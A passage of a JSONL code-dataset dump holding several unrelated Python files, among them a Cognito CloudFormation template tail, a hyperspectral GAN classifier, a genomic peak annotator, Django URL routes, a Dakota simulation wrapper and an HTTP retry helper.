Value=GetAtt(userPoolUsers, \"Arn\"),\n Description=\"UserPool arn for YaegarBooks\"\n ),\n Output(\n \"UserPoolClientId\",\n Value=Ref(userPoolClientUsers),\n Description=\"UserPoolClient id for YaegarBooks\"\n ),\n Output(\n \"IdentityPoolId\",\n Value=Ref(identityPoolUsers),\n Description=\"IdentityPool id for YaegarBooks\"\n )\n])\n\nprint(t.to_json())\n","sub_path":"stacks/src/cognito.py","file_name":"cognito.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"617195420","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 9 21:27:22 2017\n\n@author: yolandatiao\n\"\"\"\n\n#####------------------ Import START ------------------#####\nimport os # For changing directory\nimport csv # For using csv writer\nimport string # For using string replace\nfrom astropy.io import ascii # For using ascii table to open csv\nfrom astropy.table import Table, Column, join # For using astropy table functions\nimport glob # For finding filenames under a directory\n#####------------------ Import END ------------------#####\n\n\n\n#####------------------ Config START ------------------#####\ncode_dir=\"/Volumes/Huitian/Exp174/codes\"\nwk_dir=\"/Volumes/Huitian/Exp174/1_Refseq\"\n\npeak_file=\"/Volumes/Huitian/Exp174/1_Refseq/Exp122_Exp169_GSE88987_mergedPeaks_cord.csv\"\nref_file=\"mm10_refseq_match_mg_e-100000.csv\"\n\n#####------------------ Config END ------------------#####\n\n\n\n#####------------------ Self defined function START ------------------######\nos.chdir(code_dir)\nimport fc_basic_astropy_subprocess as fc\n#####------------------ Self defined function END ------------------######\n\n\n#####------------------ Main function START ------------------#####\nos.chdir(wk_dir)\n\npeak_file_nf=fc.filenamenoformat(fc.Getfilename(peak_file))\nref_file_nf=fc.filenamenoformat(fc.Getfilename(ref_file))\nout_file_name=\"%s_ann-%s.csv\"%(peak_file_nf,ref_file_nf)\n\nref_data=ascii.read(ref_file)\nref_data=fc.setcolnames(ref_data)\nref_data_len=len(ref_data)\n\n\n###----- Find gene name for each peak\nwith open(out_file_name,\"w\") as fout:\n outwriter=csv.writer(fout, delimiter=\",\") \n \n with open(peak_file,\"r\") as fin:\n inreader=csv.reader(fin,delimiter=\",\")\n \n in_colnames=next(inreader)\n in_colnames.append(\"gene_number\")\n in_colnames.append(\"gene_name\")\n outwriter.writerow(in_colnames)\n \n row_out=[]\n for row in inreader:\n row_out=row\n row_chr=row[1]\n row_s=row[2]\n row_e=row[3]\n row_genelist=[]\n ref_data_x=[]\n for x in xrange(0, ref_data_len):\n ref_data_x=list(ref_data[x])\n if ref_data_x[1]==row_chr:\n if (ref_data_x[2]<=row_s and ref_data_x[3]>row_e):\n row_genelist.append(ref_data[0])\n \n row_out.append(len(row_genelist))\n if len(row_genelist)>0:\n row_out.append(\",\".join(row_genelist))\n else:\n row_out.append(\"NA\")\n outwriter.writerow(row_out)\n\n \n \n \n\n \n#####------------------ Main function END ------------------#####","sub_path":"codes/Func_2_refseq_match_peak.py","file_name":"Func_2_refseq_match_peak.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"153178072","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Mar 1 10:01:06 2021\r\n\r\n@author: YOSO_WANHH\r\n\"\"\"\r\n#a263: 日期差幾天\r\n\r\nimport datetime\r\ny1, m1, d1 = map(int,(input().split()))\r\ny2, m2, d2 = map(int,(input().split()))\r\ndate1 = datetime.datetime(y1, m1, d1)\r\ndate2 = datetime.datetime(y2, m2, d2)\r\nprint(abs((date1-date2).days))","sub_path":"263日期差幾天.py","file_name":"263日期差幾天.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"467515074","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 8 09:50:46 2019\r\n\r\n@author: lenovo\r\n\"\"\"\r\nimport random\r\nimport torch\r\nimport torch.nn as nn\r\nimport scipy.io as sio\r\nimport numpy as np\r\nimport time\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport torch.optim as optim\r\nfrom torch.autograd import Variable\r\nfrom sklearn.metrics import confusion_matrix\r\nimport torchvision.models as models\r\n\r\n#load the data\r\ndataF = 'C://Users//lenovo//Desktop//毕设//资料//Salinas_corrected.mat'\r\ndataRow = sio.loadmat(dataF)[\"salinas_corrected\"]\r\ndataTruthF = 'C://Users//lenovo//Desktop//毕设//资料//Salinas_gt.mat'\r\ndataTruth = sio.loadmat(dataTruthF)[\"salinas_gt\"]\r\n\r\n#=============PCA=============#\r\ndef pca(dataMat,topNfeat=9999999):\r\n #dataMat:input\r\n #topNfeat:output top N features\r\n meanVals = np.mean(dataMat, axis=0) #to compute the mean value\r\n meanRemoved = dataMat - meanVals #to remove the mean value\r\n covMat = np.cov(meanRemoved, rowvar=0) #to compute the covariance matrix\r\n eigVals,eigVects = np.linalg.eig(np.mat(covMat)) #to compute the eigenvalues and eigenvectors\r\n eigValInd = np.argsort(eigVals) #to sort from the smallest to the largest\r\n eigValInd = eigValInd[:-(topNfeat+1):-1] #to get the nth largest eigenvalues and eigenvectors\r\n redEigVects = eigVects[:, eigValInd]\r\n lowDDataMat = meanRemoved * redEigVects #to transform into low dimensions\r\n reconMat = (lowDDataMat * redEigVects.T) + meanVals\r\n cumCont = sum(eigVals[eigValInd])/sum(eigVals) #to compute cumulative contribution\r\n return lowDDataMat,reconMat,cumCont\r\n\r\n# to draw principal component\r\nimData = dataRow.reshape([111104, 204]) #reshape the data into 2_D\r\nlowDataMat,reconMat,cumCont = pca(imData, 3)\r\nprinCom = np.zeros([3, 512, 217])\r\nfor i in range(3):\r\n prinCom[i,:,:] = lowDataMat[:,i].reshape([512, 217]) \r\n[nBand,nRow, nColumn] = prinCom.shape\r\n\r\n#to flip and expand the size of data\r\ndef flip(data):\r\n y_4 = np.zeros_like(data)\r\n y_1 = y_4\r\n y_2 = y_4\r\n first = np.concatenate((y_1, y_2, y_1), axis=1)\r\n second = np.concatenate((y_4, data, y_4), axis=1)\r\n third = first\r\n Data = np.concatenate((first, second, third), axis=0)\r\n return Data\r\n\r\nnTrain = 200 #the size of training data \r\nnTest = 500 #the size of testing data\r\ntraEpo = 500 #training epoches\r\nbatSize = 200 #batch size\r\nnz = 100 #the band number of noise\r\nngf = 64 \r\nnc = 3 #the bands number of the output of genetator\r\nnumLabel = int(np.max(dataTruth)) #the number of labels\r\nprinCom = (torch.from_numpy(prinCom)).permute(1,2,0)\r\nprinCom = flip(prinCom)\r\nprinCom = (torch.from_numpy(prinCom)).permute(2,0,1)\r\ndatatruth = flip(dataTruth)\r\n\r\n#to pick up the training and testing data\r\nHalfWidth = 32\r\nWid = 2 * HalfWidth\r\nG = datatruth[nRow - HalfWidth:2 * nRow + HalfWidth, nColumn - HalfWidth:2 * nColumn + HalfWidth]\r\ndata = prinCom[:,nRow - HalfWidth:2 * nRow + HalfWidth, nColumn - HalfWidth:2 * nColumn + HalfWidth]\r\n[row, col] = G.shape\r\n\r\nNotZeroMask = np.zeros([row, col])\r\nNotZeroMask[HalfWidth + 1: -1 - HalfWidth + 1, HalfWidth + 1: -1 - HalfWidth + 1] = 1\r\nG = G * NotZeroMask\r\n\r\n[Row, Column] = np.nonzero(G)\r\nnSample = np.size(Row)\r\n\r\nimdb = {}\r\nimdb['trainData'] = np.zeros([nTrain, nBand, 2 * HalfWidth, 2 * HalfWidth], dtype=np.float32)\r\nimdb['trainLabels'] = np.zeros([nTrain], dtype=np.int64)\r\nimdb['testData'] = np.zeros([nTest, nBand, 2 * HalfWidth, 2 * HalfWidth], dtype=np.float32)\r\nimdb['testLabels'] = np.zeros([nTest], dtype=np.int64)\r\n\r\nRandPerm = np.random.permutation(nSample)\r\n\r\nfor iSample in range(nTrain):\r\n imdb['trainData'][iSample, :, :, :] = data[:,Row[RandPerm[iSample]] - HalfWidth: Row[RandPerm[iSample]] + HalfWidth, \\\r\n Column[RandPerm[iSample]] - HalfWidth: Column[RandPerm[iSample]] + HalfWidth]\r\n imdb['trainLabels'][iSample] = G[Row[RandPerm[iSample]],\r\n Column[RandPerm[iSample]]].astype(np.int64)\r\nfor iSample in range(nTest):\r\n imdb['testData'][iSample, :, :, :] = data[:,Row[RandPerm[(iSample+nTrain)]] - HalfWidth: Row[RandPerm[(iSample+nTrain)]] + HalfWidth, \\\r\n Column[RandPerm[(iSample+nTrain)]] - HalfWidth: Column[RandPerm[(iSample+nTrain)]] + HalfWidth]\r\n imdb['testLabels'][iSample] = G[Row[RandPerm[(iSample+nTrain)]],\r\n Column[RandPerm[(iSample+nTrain)]]].astype(np.int64)\r\nprint('Data is READY.')\r\nimdb['trainLabels'] = imdb['trainLabels'] - 1\r\nimdb['testLabels'] = imdb['testLabels'] - 1\r\n\r\n#=============3D GAN=============#\r\n \r\n#=============3D GENERATOR=============#\r\nclass G(nn.Module):\r\n def __init__(self, nz, ngf, nc):\r\n super(G, self).__init__()\r\n self.layer1 = nn.ConvTranspose2d(nz, ngf*8, 4, stride=1, padding=0, bias=False)\r\n self.bn1 = nn.BatchNorm2d(ngf*8)\r\n self.layer2 = nn.ConvTranspose2d(ngf*8, ngf*4, 4, stride=2, padding=1, bias=False)\r\n self.bn2 = nn.BatchNorm2d(ngf*4)\r\n self.layer3 = nn.ConvTranspose2d(ngf*4, ngf*2, 4, stride=2, padding=1, bias=False)\r\n self.bn3 = nn.BatchNorm2d(ngf*2)\r\n self.layer4 = nn.ConvTranspose2d(ngf*2, ngf, 4, stride=2, padding=1, bias=False)\r\n self.bn4 = nn.BatchNorm2d(ngf)\r\n self.layer5 = nn.ConvTranspose2d(ngf, nc, 4, stride=2, padding=1, bias=False)\r\n self.ac = nn.ReLU(True)\r\n self.ac1 = nn.Tanh()\r\n\r\n def forward(self, z):\r\n #1024*1*1 to 512*4*4\r\n op = self.layer1(z)\r\n op = self.bn1(op)\r\n op = self.ac(op)\r\n \r\n #512*4*4 to 256*8*8\r\n op = self.layer2(op)\r\n op = self.bn2(op)\r\n op = self.ac(op)\r\n \r\n #256*8*8 to 128*16*16\r\n op = self.layer3(op)\r\n op = self.bn3(op)\r\n op = self.ac(op)\r\n \r\n #128*16*16 to 64*32*32\r\n op = self.layer4(op)\r\n op = self.bn4(op)\r\n op = self.ac(op)\r\n \r\n #64*32*32 to 3*64*64\r\n op = self.layer5(op)\r\n output = self.ac1(op)\r\n return output\r\n\r\n#=============3D DISCRIMINATOR=============# \r\nclass D(nn.Module):\r\n def __init__(self, ngf, nc, numLabel):\r\n super(D, self).__init__()\r\n self.layer1 = nn.Conv2d(nc, ngf, 4, stride=2, padding=1, bias=False)\r\n self.layer2 = nn.Conv2d(ngf, ngf*2, 4, stride=2, padding=1, bias=False)\r\n self.bn2 = nn.BatchNorm2d(ngf*2)\r\n self.layer3 = nn.Conv2d(ngf*2, ngf*4, 4, stride=2, padding=1, bias=False)\r\n self.bn3 = nn.BatchNorm2d(ngf*4)\r\n self.layer4 = nn.Conv2d(ngf*4, ngf*8, 4, stride=2, padding=1, bias=False)\r\n self.bn4 = nn.BatchNorm2d(ngf*8)\r\n self.layer5 = nn.Conv2d(ngf*8, ngf, 4, stride=1, padding=0, bias=False)\r\n self.ac = nn.LeakyReLU(0.2,inplace=True)\r\n self.ac1 = nn.Linear(ngf, 1)\r\n self.ac2 = nn.Linear(ngf, numLabel)\r\n self.layer6 = nn.Sigmoid()\r\n self.layer7 = nn.LogSoftmax()\r\n \r\n def forward(self, g):\r\n #3*64*64 to 64*32*32\r\n op = self.layer1(g)\r\n op = self.ac(op)\r\n\r\n #64*32*32 to 128*16*16\r\n op = self.layer2(op)\r\n op = self.bn2(op)\r\n op = self.ac(op)\r\n \r\n #128*16*16 to 256*8*8\r\n op = self.layer3(op)\r\n op = self.bn3(op)\r\n op = self.ac(op)\r\n \r\n #256*8*8 to 512*4*4\r\n op = self.layer4(op)\r\n op = self.bn4(op)\r\n op = self.ac(op)\r\n \r\n #512*4*4 to 64*1*1\r\n op = self.layer5(op)\r\n op = op.view(-1, ngf)\r\n \r\n #to distinguish the real or the fake \r\n RorF = self.ac1(op)\r\n RorF = self.layer6(RorF)\r\n #to predict the class labels\r\n Classes = self.ac2(op)\r\n Classes = self.layer7(Classes)\r\n return RorF,Classes\r\n \r\n#to compute the kappa\r\ndef kappa(testData, k):\r\n dataMat = np.mat(testData)\r\n P0 = 0.0\r\n for i in range(k):\r\n P0 += dataMat[i, i]*1.0\r\n xsum = np.sum(dataMat, axis=1)\r\n ysum = np.sum(dataMat, axis=0)\r\n Pe = float(ysum * xsum) / np.sum(dataMat) ** 2\r\n P0 = float(P0 / np.sum(dataMat) * 1.0) #OA\r\n cohens_coefficient = float((P0 - Pe) / (1 - Pe))\r\n return cohens_coefficient\r\n\r\ninput = torch.FloatTensor(batSize, 3, 64, 64)\r\nz = torch.FloatTensor(batSize, 100, 1, 1)\r\ns_label = torch.FloatTensor(batSize)\r\nc_label = torch.LongTensor(batSize)\r\ninLabel= torch.LongTensor(nTest)\r\nlossDD = np.zeros(50)\r\nlossGG = np.zeros(50)\r\nOA = np.zeros(50)\r\nAA = np.zeros(50)\r\nK = np.zeros(50)\r\n\r\nreal_label = 1\r\nfake_label = 0\r\n \r\nSCrit = nn.BCELoss() #use Binary Cross Entropy Loss to compute the TorF loss\r\nCCrit = nn.NLLLoss() #use Negative Log Likelihood Loss to compute the HSI loss \r\n \r\nz = Variable(z)\r\ninput = Variable(input)\r\ns_label = Variable(s_label)\r\nc_label = Variable(c_label)\r\ninLabel = Variable(inLabel)\r\nG = G(nz, ngf, nc)\r\nD = D(ngf, nc, numLabel)\r\n\r\noptimizerD = optim.Adam(D.parameters(), lr=0.0002) #to optimize with the Adam algorithm\r\noptimizerG = optim.Adam(G.parameters(), lr=0.0002)\r\n\r\ndef train():\r\n plt.ion() #to plot continously \r\n for epoch in range(traEpo):\r\n #to train discriminator with fake data\r\n optimizerD.zero_grad() #to clear the gradients of all optimized torch.Tensor s.\r\n z = torch.rand(batSize,100,1,1) #to input the noise\r\n c = torch.randint(0, 16, (batSize,)) #to input the label\r\n gen = G(z)\r\n fakeSP,fakeCP = D(gen.detach()) #to input the fake data into discriminator \r\n s_label.data.fill_(fake_label)\r\n c_label.copy_(c)\r\n lossDFS = SCrit(fakeSP, s_label)\r\n lossDFC = CCrit(fakeCP, c_label)\r\n lossDF = lossDFS + lossDFC\r\n lossDF.backward()\r\n \r\n #to train discriminator with REAL data \r\n realSP,realCP = D(torch.from_numpy(imdb['trainData'])) #to input the real data into discriminator \r\n s_label.fill_(real_label)\r\n c_label.copy_(torch.from_numpy(imdb['trainLabels'])) \r\n lossDRS = SCrit(realSP, s_label)\r\n lossDRC = CCrit(realCP, c_label)\r\n lossDR = lossDRS + lossDRC\r\n lossDR.backward()\r\n lossD = lossDR + lossDF \r\n optimizerD.step()\r\n\r\n #to train generator\r\n optimizerG.zero_grad()\r\n fakeSP,fakeCP = D(gen) #to input the fake data into discriminator \r\n c_label.copy_(c)\r\n lossGS = SCrit(fakeSP, s_label)\r\n lossGC = CCrit(fakeCP, c_label)\r\n lossG = lossGS + lossGC \r\n lossG.backward()\r\n optimizerG.step()\r\n\r\n #to output the result every 10 trainings\r\n if epoch % 10 == 0: \r\n print('[%d] Loss_D: %.4f Loss_G: %.4f '\r\n % (epoch, lossD.data.numpy(), lossG.data.numpy()))\r\n lossDD[int(epoch/10)] = lossD / 10\r\n lossGG[int(epoch/10)] = lossG / 10\r\n \r\n #testing…… \r\n if epoch % 10 == 0:\r\n D.eval()\r\n G.eval()\r\n testLoss = 0\r\n right = 0\r\n predict = np.array([], dtype=np.int64)\r\n labels = np.array([], dtype=np.int64)\r\n \r\n inLabel.copy_(torch.from_numpy(imdb['testLabels']))\r\n data, label = Variable(torch.from_numpy(imdb['testData'])), Variable(torch.from_numpy(imdb['testLabels']))\r\n y_l = label.data.cpu().numpy()\r\n output = D(data)\r\n testLoss += CCrit(output[1], label)\r\n pred = output[1].data.max(1)[1] # get the index of the max log-probability\r\n right += pred.cpu().eq(inLabel).sum()\r\n predict = np.append(predict, pred.cpu().numpy())\r\n labels = np.append(labels, y_l)\r\n \r\n acc =100. * right / 500\r\n C = confusion_matrix(labels, predict)\r\n k = 100. * kappa(C, np.shape(C)[0])\r\n AA_ACC = np.diag(C) / np.sum(C, 1)\r\n aa = 100. * np.mean(AA_ACC, 0)\r\n print('OA= %.5f AA= %.5f k= %.5f' % (acc, aa, k))\r\n OA[int(epoch/10)] = acc\r\n AA[int(epoch/10)] = aa\r\n K[int(epoch/10)] = k\r\n \r\n #to plot the score of loss\r\n plt.figure(figsize=(7,10)) \r\n plt.subplot(2,1,1)\r\n x = np.arange(0,500,10) \r\n plt.plot(x, lossDD, c='k', label='lossD')\r\n plt.plot(x, lossGG, c='r', label='lossG')\r\n plt.title('score of loss')\r\n plt.xlabel('epoch')\r\n plt.ylabel('loss')\r\n plt.ylim(0,1)\r\n plt.legend(['lossD', 'lossG'])\r\n \r\n #to plot the score of OA、AA、kappa\r\n plt.subplot(2,1,2)\r\n plt.plot(x, OA, c='k', label='OA')\r\n plt.plot(x, AA, c='r', label='AA')\r\n plt.plot(x, K, c='b', label='kappa')\r\n plt.title('score of OA/AA/kappa')\r\n plt.xlabel('epoch')\r\n plt.ylabel('accuracy(%)') \r\n plt.ylim(0,100)\r\n plt.legend(['OA', 'AA', 'kappa'])\r\n \r\n plt.show()\r\n \r\n \r\nt_begin = time.time() \r\ntrain()\r\nprint(\"Total Elapse: {:.2f}\".format(time.time() - t_begin))\r\n","sub_path":"3D-GAN.py","file_name":"3D-GAN.py","file_ext":"py","file_size_in_byte":12978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383822893","text":"import os\nimport json\n\nclass DataJson():\n\n FILE = 'data.json'\n \n def __init__(self, path):\n\n self.path = os.path.join(path, self.FILE)\n self.create_if_not_exist()\n\n def create_if_not_exist(self):\n\n if not os.path.isfile(self.path):\n with open(self.path, 'w') as data:\n data.write('{}')\n data.close()\n\n def get_data(self, key=None):\n with open(self.path) as data:\n json_data = json.load(data)\n data.close()\n if key:\n if key in json_data:\n return json_data[key]\n return ''\n return json_data\n\n def set_data(self, key, value):\n\n json_data = self.get_data()\n\n json_data[key] = value\n \n with open(self.path, 'w') as outfile:\n json.dump(json_data, outfile)\n outfile.close()\n \n\n\n\n\n\n\n","sub_path":"catalogo/tools/DataJson.py","file_name":"DataJson.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"539694545","text":"from admin.verification.viewsajax import VerificationRequestMutateView\r\n\r\n\r\n\r\nfrom django.conf.urls import patterns, include, url\r\nfrom views import *\r\n\r\nurlpatterns = patterns('',\r\n url(r'^nric/$', VerificationRequestListView.as_view(), name='verification_requests'),\r\n url(r'^nric/(?P[0-9]+)/mutate/$', VerificationRequestMutateView.as_view(), name='verification_mutate_details'),\r\n url(r'^nric/(?P[0-9]+)/details/$', VerificationDetailsView.as_view(), name='verification_details_view'),\r\n url(r'^cert/$', CertificateVerfication.as_view(), name='cert_verification_requests'),\r\n url(r'^cert/(?P[0-9]+)/details/$', VerificationDetailsView.as_view(), name='cert_verification_details_view'),\r\n )\r\n\r\n","sub_path":"verification/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"328228992","text":"from sqlalchemy import exc\nfrom findfiles import run\nfrom app import Provincias\nfrom models.filesql import FileSql, Workflow, make_fileql\n\n\n\nprovs = Provincias()\nlogger = provs.logger()\nlogger.info('Comenzando con el main')\nrdb = provs.setup_redis()\nlogger.debug('Se configura redis en el host: {}'.format(provs.conf.redis['host']))\nsql = provs.setup_sql()\nlogger.debug('Se configura sql: {}'.format(provs.conf.get_sql))\nwork_dir = provs.get_workdir\nlogger.debug('env workdir = {}'.format(work_dir))\nvalidador=\"ARG-(0[0-9]|1[0-9]|2[0-5])-[a-z A-Z]{3}-(h-tabla|tabla)([1-2]|[1-2]_[1-2])-(0?[1-9]|1[012])-[0-9]{4}.*\\.(csv|txt)\"\n\n\ndef to_session(elements,row, sql):\n for e in elements:\n fileql = make_fileql(e, row.prov_id, row.id, 1)\n logger.debug(\"Se agrega el archivo: {}\".format(fileql.orig_name))\n sql.session.add(fileql)\n\ndef to_db(sql):\n try:\n sql.session.commit()\n except exc.IntegrityError as e:\n logger.error(\"Error al insertar en la base\")\n logger.error(\"{}\".format(e))\n sql.session.rollback()\n\ndef search_files():\n for row in sql.session.query(provs.institucion).all():\n\n pathToFile = \"{}/{}\".format(work_dir, row.folder)\n logger.info(\"Revisando el directorio {}\".format(pathToFile))\n response = run(pathToFile, rdb, row.r_key, validador)\n logger.debug(\"Cantidad de archivos: {}\"\\\n .format(len(response['newfiles'])))\n if response['newfiles']:\n to_session(response['newfiles'], row, sql)\n\n to_db(sql)\n\nif __name__ == '__main__':\n search_files()\n","sub_path":"src/scanfiles.py","file_name":"scanfiles.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"249147796","text":"# Copyright (c) 2016 Uber Technologies, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom __future__ import absolute_import\n\nfrom . import common\nfrom .. import rw\nfrom .call_continue import CallContinueMessage\nfrom .types import Types\n\n\nclass CallRequestContinueMessage(CallContinueMessage):\n \"\"\"Represent a continuation of a call request (across multiple frames).\"\"\"\n message_type = Types.CALL_REQ_CONTINUE\n\n def __init__(\n self,\n flags=0,\n checksum=None,\n args=None,\n id=0,\n ):\n super(CallRequestContinueMessage, self).__init__(\n flags, checksum, args, id)\n\n def fragment(self, space_left):\n fragment_msg = CallRequestContinueMessage(\n flags=self.flags,\n checksum=self.checksum,\n )\n return super(CallRequestContinueMessage, self).\\\n fragment(space_left, fragment_msg)\n\n\ncall_req_c_rw = rw.instance(\n CallRequestContinueMessage,\n (\"flags\", rw.number(1)), # flags:1\n (\"checksum\", common.checksum_rw), # csumtype:1 (csum:4){0, 1}\n (\"args\", rw.args(rw.number(2))), # [arg1~2, arg2~2, arg3~2]\n)\n","sub_path":"tchannel/messages/call_request_continue.py","file_name":"call_request_continue.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"415997153","text":"#!/usr/bin/env python3.8\n\nimport numpy as np\nimport dakota.interfacing as di\nimport sys\n#import pysgpp\n\nsys.path.append('/home/rehmemk/git/anugasgpp/Okushiri') # nopep8\nfrom sgppOkushiri import maxOkushiri1Out # nopep8\n\n\ndef maxOkushiri1Out_forDakota(v):\n dim = 6\n okushiri_func = maxOkushiri1Out(dim, gridResolution=64, normalization=1, residual=0)\n dv = np.array(v)\n result = okushiri_func.eval(dv)\n okushiri_func.cleanUp()\n return [-result]\n\n\nparams, results = di.read_parameters_file()\nnum_params = params.num_variables\ncontinuous_vars = [0]*num_params\nfor k in range(num_params):\n continuous_vars[k] = params[params.descriptors[k]]\n\nevaluations = maxOkushiri1Out_forDakota(continuous_vars)\n\nfor i, r in enumerate(results.responses()):\n if r.asv.function:\n r.function = evaluations[i]\n\nresults.write()\n","sub_path":"dakota/maxOkushiri_for_dakota.py","file_name":"maxOkushiri_for_dakota.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598830394","text":"__author__ = 'f5xs'\n\nfrom level1 import url_make, currenttime, Sleep, toOrdinal, strftime, Action\n\nfrom requests import get, post, put, delete, ConnectionError, HTTPError, Timeout\nfrom requests.exceptions import ChunkedEncodingError\n\n\nToday = lambda: toOrdinal(strftime(\"%Y%m%d\"))\n\n\ndef factor(date_i, date_f, logprice, expprice, spread, shift):\n factorized = (1-(1/spread))**(date_f-date_i)\n factorized = ((1-factorized) * logprice) + (factorized * expprice)\n factorized = factorized * (1 - shift) + shift * logprice\n return factorized\n\n\nclass Req(object):\n # An object that downloads a given URL continuously and will not return errors.\n\n def __init__(self, url, method=\"get\", str_data=True, json=False, cooldown=1, error_limit=4, timeout=(4, 2), clip=54,\n print_=True, params={}, **kwargs):\n\n if method not in [\"get\", \"post\", \"put\", \"delete\"]:\n raise RuntimeError(\"The method must be one of the following:\\nget post put delete\")\n if method == \"get\":\n method = get\n elif method == \"post\":\n method = post\n elif method == \"put\":\n method = put\n else:\n method = delete\n link = url_make(url, params)\n sc_counter = 0\n raised = False\n if print_:\n print(\"%sDownloading %s...\" % (currenttime(), link[:(lambda: clip if clip else None)()]))\n while True:\n sleep_ = Sleep(cooldown, True)\n try:\n self.request = method(url, timeout=timeout, stream=True, params=params, **kwargs)\n self.request.raise_for_status()\n self.status_code = self.request.status_code\n self.url = self.request.url\n self.content = self.request.content\n if str_data:\n self.text = self.request.text\n if json:\n self.json = self.request.json()\n break\n except (ChunkedEncodingError, ConnectionError, Timeout) as err:\n raised, errmsg = True, err\n except HTTPError as err:\n raised, errmsg = True, err\n if int(self.request.status_code/100) == 4:\n if self.request.status_code == 429:\n pass\n else:\n raise\n else:\n sc_counter += 1\n if sc_counter >= error_limit:\n raise\n finally:\n if raised:\n print(\"%sError: %s\" % (currenttime(), errmsg))\n sleep_.join()\n\n\nclass History(object):\n def __init__(self, *args):\n self.dates = []\n self.entries = {}\n self.headers = tuple([arg for arg in args])\n\n def __add__(self, other, override=False):\n if self.headers != other.headers:\n raise ArithmeticError(\"Headers of the two History objects are not the same.\")\n\n history = History(*self.headers)\n a = {_ for _ in self.entries}.union({_ for _ in other.entries})\n\n for _ in a:\n s = None\n o = None\n\n try: # Self value identified\n s = self.entries[_]\n except KeyError:\n pass\n\n try: # Other value identified\n o = other.entries[_]\n except KeyError:\n pass\n\n if not s:\n s = o\n elif s and o: # \"Collision\" testing\n if s != o:\n if not override:\n raise BaseException(\"The elements of the two objects are inequal: %s != %s\" % (s, o))\n else:\n s = o\n\n history.entries[_] = s\n\n history.d_recheck()\n return history\n\n def __str__(self):\n _2 = len(self.entries)\n _ = \"%s in length.\" % _2\n if _2 == 0:\n return _\n else:\n return _ + \" %s\" % self.entries[self.dates[-1]]\n\n def copy(self):\n history = History()\n history.dates = self.dates\n history.entries = self.entries\n history.headers = self.headers\n return history\n\n def append(self, date, *args):\n # Add an entry/date\n if len(args) != len(self.headers):\n raise IndexError(\"Argument length is not equal to %s\" % len(self.headers))\n self.entries[date] = [arg for arg in args]\n self.d_recheck()\n\n def d_recheck(self):\n # Recheck the date list\n self.dates = sorted([date for date in self.entries])\n\n def del_(self, date):\n # Delete an entry\n del(self.entries[date])\n\n def get(self, date, mode=\"=\"):\n if mode == \"=\":\n return self.entries[date]\n elif mode == \"<\":\n pass\n elif mode == \">\":\n pass\n else:\n raise Exception(\"Invalid mode \\\"%s\\\"\" % mode)\n\n\nclass Buy(Action):\n def __repr__(self):\n return \"Buy \"\n\nclass Sell(Action):\n def __repr__(self):\n return \"Sell\"\n\nclass Hold(Action):\n def __repr__(self):\n return \"Hold\"","sub_path":"level2.py","file_name":"level2.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"28541284","text":"from arcade import Sprite,load_spritesheet\nimport platform\n\nif platform.system() == \"Windows\": slash = \"\\\\\"\nelse: slash = \"/\"\n\nbrokenSprites = []\nbrokenSprites.append(load_spritesheet(r\"Sprite\"+slash+\"RedChipBroken 720.png\",sprite_width=720,sprite_height=720,columns=2,count=4))\nbrokenSprites.append(load_spritesheet(r\"Sprite\"+slash+\"YellowChipBroken 720.png\",sprite_width=720,sprite_height=720,columns=2,count=4))\nfallingSprites = []\nfallingSprites.append(load_spritesheet(r\"Sprite\"+slash+\"ChipFallRed 720.png\",sprite_width=720,sprite_height=720,columns=3,count=8))\nfallingSprites.append(load_spritesheet(r\"Sprite\"+slash+\"ChipFallYellow 720.png\",sprite_width=720,sprite_height=720,columns=3,count=8))\nwin = []\nwin.append(load_spritesheet(r\"Sprite\"+slash+\"ChipLose 720.png\",sprite_width=720,sprite_height=720,columns=3,count=9))\nwin.append(load_spritesheet(r\"Sprite\"+slash+\"ChipWin 720.png\",sprite_width=720,sprite_height=720,columns=3,count=9))\n\nHEIGHT = 6\nWIDTH = 7\nSCREEN_WIDTH = 1080\nSCREEN_HEIGHT = 720\nSHIFT = 